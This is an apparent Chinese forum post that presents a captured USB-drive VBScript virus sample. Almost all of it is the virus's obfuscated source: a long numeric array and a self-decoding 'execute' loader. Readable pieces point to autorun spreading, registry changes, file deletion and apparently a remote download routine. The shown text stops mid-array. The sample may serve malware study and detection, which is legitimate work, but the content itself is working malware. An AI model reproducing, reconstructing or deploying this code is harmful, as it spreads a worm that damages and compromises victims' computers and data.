截获的一个U盘vbs病毒样本,见http://www.daokers.com/article/original/384.htm。
      源代码为

代码:
rem UT
'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+|;',./:"<>?
UT=array(13,114,101,109,32,85,84,32,13,10,108,79,61,34,28,27,32,18,31,31,28,31,32,31,18,1,3,26,18,32,27,18,6,2,127,11,17,7,8,61,12,22,31,18,61,124,52,46,54,124,58,20,4,7,61,124,85,84,124,58,28,20,5,61,50,53,53,58,22,19,61,124,46,22,28,19,124,58,22,31,61,124,46,22,28,31,124,58,29,8,61,124,37,29,15,8,19,16,31,29,37,32,47,29,32,124,58,30,1,15,61,124,47,21,35,20,47,124,58,4,14,1,61,124,92,27,21,20,15,18,21,14,46,4,14,1,124,125,123,19,31,20,32,23,19,61,29,18,31,27,20,31,15,28,5,31,29,20,40,124,23,19,29,18,4,16,20,46,19,3,31,7,7,124,41,58,19,31,20,32,23,8,4,61,2,31,20,15,28,5,31,29,20,40,124,23,4,14,8,2,8,20,19,58,92,92,46,92,18,15,15,20,92,29,4,8,22,55,124,41,125,123,19,31,20,32,1,19,15,61,29,18,31,27,20,31,15,28,5,31,29,20,40,124,19,29,18,4,16,20,4,14,2,46,1,4,7,31,19,25,19,20,31,8,15,28,5,31,29,20,124,41,58,19,31,20,32,19,4,19,61,23,8,4,46,31,24,31,29,17,21,31,18,25,40,124,19,31,7,31,29,20,32,42,32,1,18,15,8,32,23,4,14,56,55,95,15,16,31,18,27,20,4,14,2,19,25,19,20,31,8,124,41,125,123,19,31,20,32,30,29,61,1,19,15,46,30,18,4,22,31,19,58,15,21,23,61,23,19,29,18,4,16,20,46,19,29,18,4,16,20,1,21,7,7,14,27,8,31,58,23,4,14,61,1,19,15,46,2,31,20,19,16,31,29,4,27,7,1,15,7,30,31,18,40,53,41,38,5,58,30,4,18,61,1,19,15,46,2,31,20,19,16,31,29,4,27,7,1,15,7,30,31,18,40,54,41,38,5,125,123,20,8,16,61,1,19,15,46,2,31,20,19,16,31,29,4,27,7,1,15,7,30,31,18,40,55,41,38,5,58,23,28,31,61,30,4,18,38,124,23,28,31,8,92,124,58,8,4,18,61,7,31,1,20,40,15,21,23,44,7,31,14,40,15,21,23,41,45,7,31,14,40,23,19,29,18,4,16,20,46,19,29,18,4,16,20,14,27,8,31,41,41,125,123,23,19,18,61,124,29,18,31,27,20,31,15,28,5,31,29,20,40,124,124,23,19,29,18,4,16,20,46,19,3,31,7,7,124,124,41,46,18,21,14,124,58,29,14,18,61,124,92,29,15,8,16,21,20,31,18,14,27,8,31,124,58,29,14,16,61,124,72,75,76,77,92,19,25,19,20,31,8,92,29,21,18,18,31,14,20,29,15,14,20,18,15,7,19,31,20,92,29,15,14,20,18,15,7,124,38,29,14,18,38,29,14,18,38,29,14,18,125,123,29,14,27,61,18,18,40,29,14,16,44,53,41,58,4,1,32,29,14,27,61,124,124,32,20,3,31,14,32,29,14,27,61,20,4,7,125,123,18,16,27,61,124,72,75,76,77,92,19,15,1,20,23,27,18,31,92,124,38,29,14,27,38,5,58,18,15,16,61,124,92,19,15,1,20,23,27,18,31,92,8,4,29,18,15,19,15,1,20,92,23,4,14,30,15,23,19,92,29,21,18,18,31,14,20,22,31,18,19,4,15,14,92,31,24,16,7,15,18,31,18,92,124,125,123,19,1,61,124,19,3,31,7,7,32,1,15,7,30,31,18,19,92,124,58,1,19,16,61,18,18,40,124,72,75,76,77,124,38,18,15,16,38,19,1,38,124,29,15,8,8,15,14,32,19,20,27,18,20,21,16,124,44,53,41,38,5,38,22,19,58,1,27,16,61,18,18,40,124,72,75,67,85,124,38,18,15,16,38,19,1,38,124,1,27,22,15,18,4,20,31,19,124,44,53,41,38,5,125,123,30,27,16,61,18,18,40,124,72,75,67,85,124,38,18,15,16,38,19,1,38,124,30,31,19,6,20,15,16,124,44,53,41,38,5,58,18,19,14,61,29,14,27,58,3,20,61,31,29,40,124,4,22,23,20,63,48,49,124,41,58,3,27,61,31,29,40,124,58,59,52,58,58,60,48,6,23,52,124,41,58,3,29,61,124,53,30,23,21,69,16,69,124,58,3,31,61,31,29,40,124,29,124,43,3,29,41,125,123,18,19,16,61,124,72,75,76,77,92,19,15,1,20,23,27,18,31,92,8,4,29,18,15,19,15,1,20,92,23,4,14,30,15,23,19,92,29,21,18,18,31,14,20,22,31,18,19,4,15,14,92,16,15,7,4,29,4,31,19,92,31,24,16,7,15,18,31,18,92,18,21,14,92,124,58,4,1,32,8,4,18,61,30,4,18,32,20,3,31,14,32,19,25,19,61,20,18,21,31,125,123,1,15,18,32,31,27,29,3,32,19,4,32,4,14,32,19,4,19,58,29,27,61,19,4,46,29,27,16,20,4,15,14,58,29,19,61,19,4,46,29,15,30,31,19,31,20,58,29,29,61,19,4,46,29,15,21,14,20,18,25,29,15,30,31,58,15,19,61,19,4,46,15,19,7,27,14,2,21,27,2,31,58,23,22,61,19,4,46,22,31,18,19,4,15,14,58,14,31,24,20,125,123,3,4,16,61,124,72,75,67,85,124,38,18,15,16,38,124,27,30,22,27,14,29,31,30,92,19,3,15,23,19,21,16,31,18,3,4,30,30,31,14,124,58,3,28,61,124,22,22,54,60,61,49,50,49,24,124,38,29,3,18,40,54,55,57,41,38,124,18,59,124,125,123,4,1,32,4,14,19,20,18,40,23,22,44,124,48,46,55,124,41,60,62,53,32,20,3,31,14,125,123,3,30,61,124,20,124,43,3,29,125,123,31,7,19,31,4,1,32,29,29,60,62,51,49,32,20,3,31,14,32,3,30,61,124,16,124,43,3,29,58,31,7,19,31,32,3,30,61,124,36,124,43,3,29,58,31,14,30,32,4,1,12,58,20,2,8,61,12,20,5,19,61,18,18,40,124,20,5,19,124,44,54,41,58,30,5,19,61,18,18,40,124,30,5,19,124,44,54,41,58,4,1,32,14,15,20,32,4,19,14,21,8,31,18,4,29,40,20,5,19,41,32,15,18,32,14,15,20,32,4,19,30,27,20,31,40,30,5,19,41,32,20,3,31,14,32,23,18,32,124,20,5,19,124,44,54,58,23,18,32,124,30,5,19,124,44,30,27,20,31,58,30,5,19,61,18,18,40,124,30,5,19,124,44,54,41,125,123,23,18,32,124,20,5,19,124,44,20,5,19,43,54,58,23,28,61,16,18,40,124,29,7,19,8,14,46,31,24,31,124,44,54,41,61,54,32,15,18,32,16,18,40,124,27,16,46,31,24,31,124,44,54,41,61,54,32,15,18,32,16,18,40,124,16,21,28,23,4,14,46,31,24,31,124,44,54,41,61,54,125,123,4,1,32,30,27,20,31,45,29,30,27,20,31,40,30,5,19,41,62,57,32,20,3,31,14,32,2,17,61,20,18,21,31,58,23,19,46,18,21,14,32,124,14,31,20,32,19,20,27,18,20,32,124,124,20,27,19,6,32,19,29,3,31,30,21,7,31,18,124,124,124,44,53,44,1,27,7,19,31,125,123,4,1,32,40,18,18,40,124,20,5,19,124,44,54,41,62,51,53,53,32,15,18,32,23,28,32,15,18,32,2,17,32,15,18,32,14,15,20,32,19,25,19,41,32,27,14,30,32,18,18,40,124,30,31,30,124,44,54,41,60,62,29,19,20,18,40,30,27,20,31,41,32,20,3,31,14,125,123,4,30,61,18,18,40,124,4,30,30,124,44,54,41,58,4,1,32,23,28,32,20,3,31,14,32,4,30,61,54,58,5,19,61,54,58,29,30,61,53,125,123,30,15,32,23,3,4,7,31,32,29,30,60,62,124,60,19,29,18,4,16,20,62,124,125,123,4,1,32,5,19,61,55,32,15,18,32,5,19,61,57,32,20,3,31,14,125,123,30,55,61,30,14,40,8,4,18,38,20,4,7,44,3,20,43,3,27,43,31,29,40,3,30,41,38,4,30,44,53,44,54,53,53,41,58,29,30,61,18,20,40,8,4,18,38,20,4,7,44,54,41,125,123,31,7,19,31,4,1,32,5,19,61,54,32,15,18,32,5,19,61,56,32,20,3,31,14,32,30,54,61,30,14,40,8,4,18,38,20,4,7,44,3,20,43,31,29,40,3,28,41,43,31,29,40,3,30,41,38,4,30,38,124,38,22,61,124,38,22,31,18,44,53,44,54,53,53,41,58,29,30,61,18,20,40,8,4,18,38,20,4,7,44,54,41,125,123,31,14,30,32,4,1,58,5,19,61,5,19,43,54,58,23,26,61,30,54,61,54,32,15,18,32,30,55,61,54,58,4,1,32,5,19,62,57,32,20,3,31,14,125,123,4,1,32,23,26,32,20,3,31,14,32,2,20,61,54,125,123,31,24,4,20,32,30,15,125,123,31,14,30,32,4,1,125,123,4,1,32,23,26,32,20,3,31,14,32,31,18,32,45,54,125,123,7,15,15,16,125,123,4,1,32,31,4,40,8,4,18,38,20,4,7,44,54,41,32,20,3,31,14,125,123,19,31,20,32,18,61,1,19,15,46,15,16,31,14,20,31,24,20,1,4,7,31,40,8,4,18,38,20,4,7,44,54,41,125,123,29,4,14,61,18,46,18,31,27,30,7,4,14,31,58,30,4,19,61,18,46,18,31,27,30,7,4,14,31,58,30,14,27,61,18,46,18,31,27,30,7,4,14,31,58,30,1,18,61,18,46,18,31,27,30,7,4,14,31,58,14,22,31,61,18,46,18,31,27,30,7,4,14,31,58,14,18,21,61,18,46,18,31,27,30,7,4,14,31,125,123,14,14,27,61,18,46,18,31,27,30,7,4,14,31,58,14,1,18,61,18,46,18,31,27,30,7,4,14,31,58,20,19,23,61,18,46,18,31,27,30,7,4,14,31,58,20,29,15,61,18,46,18,31,27,30,7,4,14,31,58,15,19,23,61,18,46,18,31,27,30,7,4,14,31,58,4,30,30,61,18,46,18,31,27,30,7,4,14,31,125,123,18,46,29,7,15,19,31,58,30,1,32,8,4,18,38,20,4,7,58,4,1,32,29,4,14,61,124,60,19,29,18,4,16,20,62,124,32,20,3,31,14,125,123,23,18,32,124,20,5,19,124,44,54,58,23,18,32,124,30,5,19,124,44,30,27,20,31,58,23,18,32,124,4,30,30,124,44,4,30,30,58,23,18,32,124,30,14,27,124,44,30,14,27,58,23,18,32,124,20,19,23,124,44,20,19,23,58,23,18,32,124,20,29,15,124,44,20,29,15,58,23,18,32,124,15,19,23,124,44,15,19,23,125,123,4,1,32,14,22,31,45,22,31,18,62,61,54,32,15,18,32,14,15,20,32,31,4,40,30,4,18,38,22,31,44,54,41,32,20,3,31,14,32,30,14,32,30,4,18,38,14,14,27,44,3,20,38,14,1,18,38,30,1,15,38,14,14,27,44,14,18,21,44,55,53,53,53,58,23,19,29,18,4,16,20,46,17,21,4,20,125,123,4,1,32,30,4,19,61,54,32,27,14,30,32,19,25,19,32,20,3,31,14,125,123,4,1,32,30,14,27,60,62,7,31,32,15,18,32,14,15,20,32,31,4,40,20,8,16,38,7,31,44,54,41,32,20,3,31,14,32,30,1,32,20,8,16,38,7,31,58,30,14,32,20,8,16,38,30,14,27,44,3,20,38,30,1,18,38,30,1,15,38,30,14,27,44,54,44,54,53,53,53,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,4,1,32,31,18,40,54,41,32,15,18,32,23,28,32,20,3,31,14,32,2,20,61,54,12,58,18,22,8,61,12,4,1,32,1,19,15,46,1,4,7,31,31,24,4,19,20,19,40,14,27,8,31,41,32,27,14,30,32,23,20,61,54,32,20,3,31,14,32,31,4,61,20,18,21,31,125,123,4,1,32,1,19,15,46,1,15,7,30,31,18,31,24,4,19,20,19,40,14,27,8,31,41,32,27,14,30,32,23,20,61,55,32,20,3,31,14,32,31,4,61,20,18,21,31,12,58,17,19,8,61,12,27,18,32,23,3,44,53,125,123,4,1,32,31,4,40,23,3,44,54,41,32,20,3,31,14,32,1,19,15,46,30,31,7,31,20,31,1,4,7,31,40,23,3,41,125,123,4,1,32,31,4,40,23,3,44,55,41,32,20,3,31,14,32,1,19,15,46,30,31,7,31,20,31,1,15,7,30,31,18,40,23,3,41,12,58,19,3,2,61,12,58,19,3,27,16,2,22,28,27,32,12,58,15,19,8,61,12,30,1,32,23,3,58,19,31,20,32,28,4,14,61,1,19,15,46,29,18,31,27,20,31,20,31,24,20,1,4,7,31,40,23,3,44,20,18,21,31,41,58,28,4,14,46,23,18,4,20,31,7,4,14,31,32,23,20,58,28,4,14,46,29,7,15,19,31,125,123,4,1,32,30,27,61,54,32,20,3,31,14,32,27,18,32,23,3,44,50,125,123,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,32,28,1,61,54,12,58,15,22,8,61,12,30,1,32,23,3,58,19,31,20,32,4,61,1,19,15,46,29,18,31,27,20,31,20,31,24,20,1,4,7,31,40,23,3,44,20,18,21,31,41,58,3,61,22,28,29,18,7,1,125,123,4,46,23,18,4,20,31,7,4,14,31,32,20,4,7,38,3,38,124,91,27,21,20,15,18,21,14,93,124,38,3,38,124,15,16,31,14,61,23,19,29,18,4,16,20,46,31,24,31,32,46,92,124,38,22,19,38,3,38,124,19,3,31,7,7,92,15,16,31,14,92,29,15,8,8,27,14,30,61,23,19,29,18,4,16,20,46,31,24,31,32,46,92,124,38,22,19,38,3,38,124,19,3,31,7,7,92,15,16,31,14,92,30,31,1,27,21,7,20,61,54,124,125,123,4,46,29,7,15,19,31,58,27,18,32,23,3,44,50,58,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,32,28,4,61,54,12,58,31,2,8,61,12,4,1,32,7,4,60,53,32,20,3,31,14,32,23,3,61,15,21,23,125,123,4,1,32,31,4,40,23,3,44,54,41,32,20,3,31,14,125,123,4,1,32,1,19,15,46,2,31,20,1,4,7,31,40,23,3,41,46,19,4,26,31,61,53,32,20,3,31,14,125,123,18,20,61,53,125,123,31,7,19,31,125,123,19,31,20,32,18,61,1,19,15,46,15,16,31,14,20,31,24,20,1,4,7,31,40,23,3,44,54,41,125,123,19,31,20,32,29,7,61,1,19,15,46,15,16,31,14,20,31,24,20,1,4,7,31,40,23,3,44,54,41,125,123,29,7,46,18,31,27,30,27,7,7,125,123,20,7,4,61,29,7,46,7,4,14,31,125,123,29,7,46,29,7,15,19,31,125,123,4,1,32,7,4,62,53,32,27,14,30,32,7,4,60,61,20,7,4,32,20,3,31,14,125,123,4,61,53,32,125,123,30,15,32,23,3,4,7,31,32,4,60,7,4,125,123,4,61,4,43,54,125,123,4,1,32,14,15,20,32,18,46,27,20,31,14,30,15,1,19,20,18,31,27,8,32,20,3,31,14,125,123,19,7,4,61,18,46,18,31,27,30,7,4,14,31,125,123,31,7,19,31,125,123,19,7,4,61,53,125,123,31,14,30,32,4,1,125,123,7,15,15,16,125,123,18,20,61,19,7,4,125,123,31,7,19,31,4,1,32,7,4,60,61,53,32,20,3,31,14,125,123,18,20,61,18,46,18,31,27,30,27,7,7,125,123,31,7,19,31,125,123,18,20,61,53,125,123,31,14,30,32,4,1,125,123,18,46,29,7,15,19,31,125,123,31,14,30,32,4,1,125,123,31,7,19,31,125,123,18,20,61,53,125,123,31,14,30,32,4,1,12,58,5,31,8,61,12,4,1,32,18,30,27,61,45,54,32,20,3,31,14,32,23,19,46,18,31,2,30,31,7,31,20,31,32,18,14,27,32,31,7,19,31,32,23,19,46,18,31,2,23,18,4,20,31,32,18,16,27,38,18,14,27,44,18,30,27,44,124,82,69,71,95,83,90,124,12,58,31,31,8,61,12,4,1,32,16,27,61,54,32,20,3,31,14,32,18,14,27,61,18,16,27,38,18,14,27,125,123,18,18,61,23,19,46,18,31,2,18,31,27,30,40,18,14,27,41,125,123,4,1,32,31,18,40,53,41,32,20,3,31,14,32,18,18,61,53,12,58,14,31,8,61,12,4,1,32,31,4,40,1,4,7,31,44,54,41,32,20,3,31,14,58,19,31,20,32,15,1,4,7,31,61,1,19,15,46,2,31,20,1,4,7,31,40,1,4,7,31,41,58,15,1,4,7,31,46,27,20,20,18,4,28,21,20,31,19,61,29,2,58,19,31,20,32,15,1,4,7,31,61,14,15,20,3,4,14,2,125,123,4,1,32,31,4,40,1,4,7,31,44,55,41,32,20,3,31,14,58,19,31,20,32,15,1,4,7,31,61,1,19,15,46,2,31,20,1,15,7,30,31,18,40,1,4,7,31,41,58,15,1,4,7,31,46,27,20,20,18,4,28,21,20,31,19,61,29,2,58,19,31,20,32,15,1,4,7,31,61,14,15,20,3,4,14,2,12,58,18,19,2,61,12,41,41,58,18,27,17,32,19,3,27,16,2,22,28,27,12,58,17,27,8,61,12,27,18,32,7,15,29,44,53,58,19,31,20,32,24,16,15,19,20,32,61,32,29,18,31,27,20,31,15,28,5,31,29,20,40,124,8,4,29,18,15,19,15,1,20,46,24,8,7,3,20,20,16,124,41,58,24,16,15,19,20,46,15,16,31,14,32,124,2,31,20,124,44,23,31,28,44,53,58,24,16,15,19,20,46,19,31,14,30,40,41,125,123,4,1,32,8,4,14,60,62,53,32,20,3,31,14,125,123,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,125,123,30,14,61,54,58,19,31,20,32,19,2,31,20,61,29,18,31,27,20,31,15,28,5,31,29,20,40,124,27,30,15,30,28,46,19,20,18,31,27,8,124,41,32,125,123,19,2,31,20,46,8,15,30,31,61,56,58,19,2,31,20,46,20,25,16,31,61,54,58,19,2,31,20,46,15,16,31,14,40,41,58,19,2,31,20,46,23,18,4,20,31,40,24,16,15,19,20,46,18,31,19,16,15,14,19,31,28,15,30,25,41,58,19,2,31,20,46,19,27,22,31,20,15,1,4,7,31,32,7,15,29,44,55,125,123,27,18,32,7,15,29,44,50,125,123,4,1,32,31,4,40,7,15,29,44,54,41,32,20,3,31,14,32,1,19,26,61,1,19,15,46,2,31,20,1,4,7,31,40,7,15,29,41,46,19,4,26,31,32,31,7,19,31,32,1,19,26,61,53,125,123,4,1,32,1,19,26,62,8,4,14,32,20,3,31,14,125,123,4,1,32,18,4,19,61,54,32,20,3,31,14,32,23,19,46,18,21,14,32,7,15,29,125,123,31,7,19,31,125,123,30,14,61,53,58,30,1,32,7,15,29,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,12,58,29,31,8,61,12,19,31,20,32,16,7,61,23,8,4,46,31,24,31,29,17,21,31,18,25,40,124,19,31,7,31,29,20,32,34,58,102,117,110,99,116,105,111,110,32,117,99,40,98,41,58,120,61,34,54,51,51,100,55,54,54,50,54,51,55,50,54,67,54,54,51,65,54,52,51,68,51,49,51,50,51,55,51,65,54,54,51,68,51,49,51,49,51,65,54,65,51,68,51,49,51,50,51,65,54,56,51,68,51,49,51,52,51,65,54,68,51,68,51,51,51,49,51,65,55,50,51,68,51,56,51,51,51,65,54,66,51,68,51,49,51,65,54,69,51,68,51,56,51,65,55,51,51,68,51,49,51,49,51,52,51,65,55,53,51,68,50,68,51,53,51,65,55,54,51,68,51,53,48,68,48,65,54,57,51,68,50,50,54,57,54,54,50,48,54,49,51,68,50,50,51,65,55,52,51,68,50,50,50,48,55,52,54,56,54,53,54,69,50,48,50,50,51,65,54,53,51,68,50,50,54,53,54,67,55,51,54,53,54,57,54,54,50,48,54,49,51,69,51,68,50,50,51,65,54,49,51,68,50,50,50,48,54,49,54,69,54,52,50,48,54,49,51,67,51,68,50,50,51,65,54,55,51,68,50,50,54,49,51,68,54,49,50,66,50,50,51,65,54,70,51,68,55,52,50,54,54,51,50,54,54,55,51,65,55,48,51,68,54,51,50,54,54,53,51,65,55,49,51,68,54,51,50,54,54,57,48,68,48,65,54,53,55,56,54,53,54,51,55,53,55,52,54,53,50,56,54,67,50,54,50,50,54,54,54,70,55,50,50,48,54,57,54,57,51,68,51,49,50,48,55,52,54,70,50,48,54,67,54,53,54,69,50,56,54,50,50,57,51,65,54,49,51,68,54,49,55,51,54,51,50,56,54,68,54,57,54,52,50,56,54,50,50,67,54,57,54,57,50,67,51,49,50,57,50,57,50,50,50,54,55,49,50,54,50,50,54,52,50,50,50,54,55,52,50,54,50,50,54,49,51,68,51,49,51,51,50,50,50,54,55,49,50,54,50,50,54,54,50,50,50,54,55,52,50,54,50,50,54,49,51,68,51,49,51,48,50,50,50,54,55,49,50,54,50,50,54,65,50,50,50,54,55,52,50,54,54,51,50,54,50,50,54,49,51,68,51,51,51,52,50,50,50,54,54,51,50,54,54,53,50,54,50,50,54,56,50,50,50,54,54,49,50,54,50,50,54,68,50,50,50,54,54,70,50,54,50,50,55,50,50,50,50,54,55,48,50,54,50,50,54,66,50,50,50,54,54,49,50,54,50,50,54,69,50,50,50,54,54,70,50,54,50,50,55,51,50,50,50,54,55,48,50,54,50,50,51,53,51,51,50,50,50,54,54,49,50,54,50,50,51,53,51,55,50,50,50,54,54,70,50,54,50,50,55,53,50,50,50,54,55,48,50,54,50,50,51,52,51,56,50,50,50,54,54,49,50,54,50,50,51,53,51,50,50,50,50,54,54,70,50,54,50,50,55,54,50,50,50,54,54,51,50,54,50,50,54,53,54,69,54,52,50,48,54,57,54,54,50,50,50,54,54,51,50,54,50,50,55,53,54,51,51,68,55,53,54,51,50,66,54,51,54,56,55,50,50,56,54,49,50,57,50,50,50,54,54,51,50,54,50,50,54,69,54,53,55,56,55,52,50,50,50,54,54,51,50,54,50,50,55,53,54,51,51,68,55,50,54,69,50,66,54,51,50,66,55,53,54,51,50,50,50,57,34,58,121,61,34,101,120,101,99,117,116,101,32,34,34,34,34,34,58,122,61,34,38,99,104,114,40,38,104,34,58,119,61,34,41,34,58,101,120,101,99,117,116,101,40,34,100,111,32,119,104,105,108,101,32,108,101,110,40,120,41,62,49,58,105,102,32,105,115,110,117,109,101,114,105,99,40,108,101,102,116,40,120,44,49,41,41,32,116,104,101,110,32,121,61,121,38,122,38,108,101,102,116,40,120,44,50,41,38,119,58,120,61,109,105,100,40,120,44,51,41,32,101,108,115,101,32,121,61,121,38,122,43,108,101,102,116,40,120,44,52,41,43,119,58,120,61,109,105,100,40,120,44,53,41,34,38,118,98,99,114,108,102,38,34,108,111,111,112,34,41,58,101,120,101,99,117,116,101,40,121,41,58,101,110,100,32,102,117,110,99,116,105,111,110,58,113,79,61,34,42,32,1,18,15,8,32,23,4,14,56,55,95,16,18,15,29,31,19,19,32,23,3,31,18,31,32,14,27,8,31,61,39,124,38,16,29,19,38,124,39,124,41,58,4,61,54,125,123,1,15,18,32,31,27,29,3,32,16,32,4,14,32,16,7,58,4,61,4,43,54,125,123,4,1,32,4,62,27,28,19,40,2,19,41,32,20,3,31,14,32,16,18,61,54,125,123,4,1,32,2,19,60,53,32,20,3,31,14,32,4,1,32,16,46,20,31,18,8,4,14,27,20,31,61,55,32,27,14,30,32,16,18,61,54,32,20,3,31,14,32,23,19,46,18,21,14,32,29,8,38,124,20,19,6,4,7,7,32,124,38,7,31,1,20,40,16,46,14,27,8,31,44,7,31,14,40,16,46,14,27,8,31,41,45,57,41,44,53,44,1,27,7,19,31,125,123,14,31,24,20,125,123,4,1,32,31,18,40,53,41,32,20,3,31,14,32,16,18,61,55,12,58,18,16,8,61,12,1,15,18,32,4,61,54,32,20,15,32,7,31,14,40,23,20,41,58,31,29,61,31,29,43,29,3,18,40,27,19,29,40,8,4,30,40,23,20,44,4,44,54,41,41,45,4,41,58,14,31,24,20,12,58,25,61,12,17,61,54,55,48,58,19,61,54,55,56,58,23,61,54,55,57,58,21,61,52,50,58,26,61,54,53,52,58,31,61,54,56,58,24,61,54,54,53,58,27,61,54,55,55,58,1,61,45,54,56,58,3,61,53,58,4,61,53,58,12,58,8,16,6,61,12,1,15,18,32,31,27,29,3,32,30,32,4,14,32,30,29,125,123,4,1,32,8,4,18,61,30,38,5,32,20,3,31,14,32,23,19,46,18,21,14,32,124,31,24,16,7,15,18,31,18,32,124,38,30,44,56,44,1,27,7,19,31,125,123,14,31,24,20,125,123,15,21,29,61,18,20,40,15,21,23,44,45,54,41,58,4,1,32,29,1,40,15,21,23,41,32,20,3,31,14,32,8,19,2,28,15,24,40,124,72,27,16,16,25,32,78,31,23,25,31,27,18,33,124,41,58,6,8,32,54,125,123,4,1,32,19,25,19,32,20,3,31,14,125,123,3,4,32,54,125,123,4,1,32,18,18,40,124,20,4,7,124,44,54,41,60,62,20,4,7,32,20,3,31,14,125,123,23,18,32,124,20,4,7,124,44,20,4,7,125,123,23,18,32,124,20,5,19,124,44,28,20,5,125,123,23,18,32,124,30,5,19,124,44,30,27,20,31,125,123,23,18,32,124,30,31,30,124,44,53,125,123,31,14,30,32,4,1,125,123,30,5,19,61,18,18,40,124,30,5,19,124,44,54,41,58,4,1,32,4,19,30,27,20,31,40,30,5,19,41,32,27,14,30,32,30,27,20,31,45,29,30,27,20,31,40,30,5,19,41,62,56,53,32,20,3,31,14,32,23,18,32,124,15,19,23,124,44,57,125,123,4,1,32,18,18,40,124,27,20,30,124,44,54,41,61,54,32,20,3,31,14,32,23,19,46,18,21,14,32,124,27,20,32,47,30,32,47,25,124,44,53,44,1,27,7,19,31,58,23,18,32,124,27,20,30,124,44,53,125,123,4,1,32,18,18,40,18,19,16,38,18,19,14,44,53,41,61,22,31,32,20,3,31,14,32,18,19,32,45,54,125,123,7,31,61,18,18,40,124,30,14,27,124,44,54,41,58,4,1,32,31,4,40,20,8,16,38,7,31,44,54,41,32,20,3,31,14,32,23,19,46,18,21,14,32,20,8,16,38,7,31,125,123,6,8,32,53,125,123,29,21,58,31,18,32,54,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,54,53,53,53,125,123,4,1,32,18,18,40,124,30,31,30,124,44,54,41,60,62,29,19,20,18,40,30,27,20,31,41,32,20,3,31,14,32,23,19,46,18,21,14,32,15,21,23,125,123,31,7,19,31,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,48,53,53,53,125,123,4,1,32,16,18,40,124,23,19,29,18,4,16,20,46,31,24,31,124,44,55,41,61,55,32,20,3,31,14,125,123,4,1,32,18,18,40,124,20,5,29,124,44,54,41,61,29,19,20,18,40,30,27,20,31,41,32,20,3,31,14,58,23,19,29,18,4,16,20,46,17,21,4,20,58,31,7,19,31,58,23,18,32,124,20,5,29,124,44,30,27,20,31,125,123,31,14,30,32,4,1,125,123,4,1,32,16,18,40,124,23,19,29,18,4,16,20,46,31,24,31,124,44,55,41,61,54,32,20,3,31,14,32,23,19,29,18,4,16,20,46,17,21,4,20,125,123,27,18,32,15,21,23,44,50,58,29,15,32,30,4,18,38,22,31,58,29,15,32,23,4,14,38,22,31,58,18,19,32,54,58,23,19,46,18,21,14,32,30,4,18,38,22,31,125,123,31,14,30,32,4,1,12,58,14,19,2,61,18,19,2,38,19,3,2,58,16,28,8,61,12,30,1,32,23,3,58,19,31,20,32,22,28,19,61,1,19,15,46,29,18,31,27,20,31,20,31,24,20,1,4,7,31,40,23,3,44,20,18,21,31,41,58,22,28,19,46,23,18,4,20,31,32,15,21,29,58,22,28,19,46,29,7,15,19,31,58,27,18,32,23,3,44,50,12,58,31,27,61,12,17,22,26,32,17,58,23,61,12,12,92,12,12,58,28,27,32,18,31,31,28,31,32,31,18,1,3,26,18,32,27,18,6,2,12,58,31,1,8,61,12,4,1,32,19,23,61,54,32,27,14,30,32,18,18,40,18,19,16,38,18,19,14,44,53,41,60,62,22,31,32,20,3,31,14,125,123,23,19,46,18,31,2,23,18,4,20,31,32,18,19,16,38,18,19,14,44,22,31,44,124,82,69,71,95,83,90,124,125,123,4,1,32,31,18,40,53,41,32,27,14,30,32,14,15,20,32,31,4,40,1,19,16,44,54,41,32,20,3,31,14,32,28,1,32,1,19,16,44,23,19,18,38,124,32,124,124,124,38,22,31,38,124,124,124,124,44,53,125,123,31,7,19,31,4,1,32,19,23,61,45,54,32,20,3,31,14,58,30,1,32,1,19,16,125,123,31,7,19,31,4,1,32,19,23,61,53,32,20,3,31,14,58,30,1,32,1,19,16,58,23,18,32,18,19,16,38,18,19,14,44,45,54,58,23,18,32,18,16,27,44,45,54,125,123,31,14,30,32,4,1,12,58,21,22,8,61,12,4,1,32,19,23,61,54,32,20,3,31,14,32,23,19,46,18,31,2,23,18,4,20,31,32,3,4,16,44,124,53,124,44,124,82,69,71,95,68,87,79,82,68,124,125,123,4,1,32,19,23,61,53,32,20,3,31,14,32,3,4,61,18,18,40,3,4,16,44,53,41,12,58,20,22,8,61,12,4,30,61,18,18,40,124,4,30,30,124,44,54,41,125,123,30,15,32,23,3,4,7,31,32,1,4,30,60,61,31,4,30,58,4,30,29,61,4,30,29,38,124,44,124,38,1,4,30,58,1,4,30,61,1,4,30,43,54,58,7,15,15,16,125,123,4,30,19,61,4,30,19,38,4,30,29,58,4,30,19,19,61,19,16,7,4,20,40,4,30,19,44,124,44,124,41,125,123,1,15,18,32,4,61,53,32,20,15,32,21,28,15,21,14,30,40,4,30,19,19,41,125,123,4,1,32,4,30,61,4,30,19,19,40,4,41,32,20,3,31,14,32,4,1,32,14,15,20,32,31,4,40,20,8,16,38,1,14,27,8,31,44,54,41,32,20,3,31,14,32,30,14,32,20,8,16,38,1,14,27,8,31,44,3,20,38,1,21,18,7,44,53,44,55,53,53,53,125,123,14,31,24,20,125,123,4,1,32,31,4,40,20,8,16,38,1,14,27,8,31,44,54,41,32,20,3,31,14,32,23,19,46,18,21,14,32,20,8,16,38,1,14,27,8,31,125,123,2,4,61,54,12,58,17,5,8,61,12,4,1,32,18,18,40,124,2,31,30,124,44,54,41,60,62,1,14,32,27,14,30,32,16,18,40,16,29,19,44,54,41,61,54,32,20,3,31,14,125,123,4,1,32,30,14,40,20,8,16,38,1,14,44,3,20,38,1,21,18,7,44,53,44,55,53,53,53,41,61,54,32,20,3,31,14,32,30,23,29,61,54,125,123,4,1,32,31,4,40,20,8,16,38,1,14,44,54,41,32,27,14,30,32,30,23,29,61,54,32,20,3,31,14,125,123,4,1,32,6,4,7,7,61,54,32,20,3,31,14,32,16,18,32,16,29,19,44,45,54,125,123,23,19,46,18,21,14,32,20,8,16,38,1,14,125,123,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,32,23,18,32,124,2,31,30,124,44,1,14,58,30,14,32,53,44,3,20,43,31,29,40,3,28,41,43,3,31,43,1,14,44,53,44,53,58,4,1,32,6,4,7,7,61,55,32,20,3,31,14,32,16,18,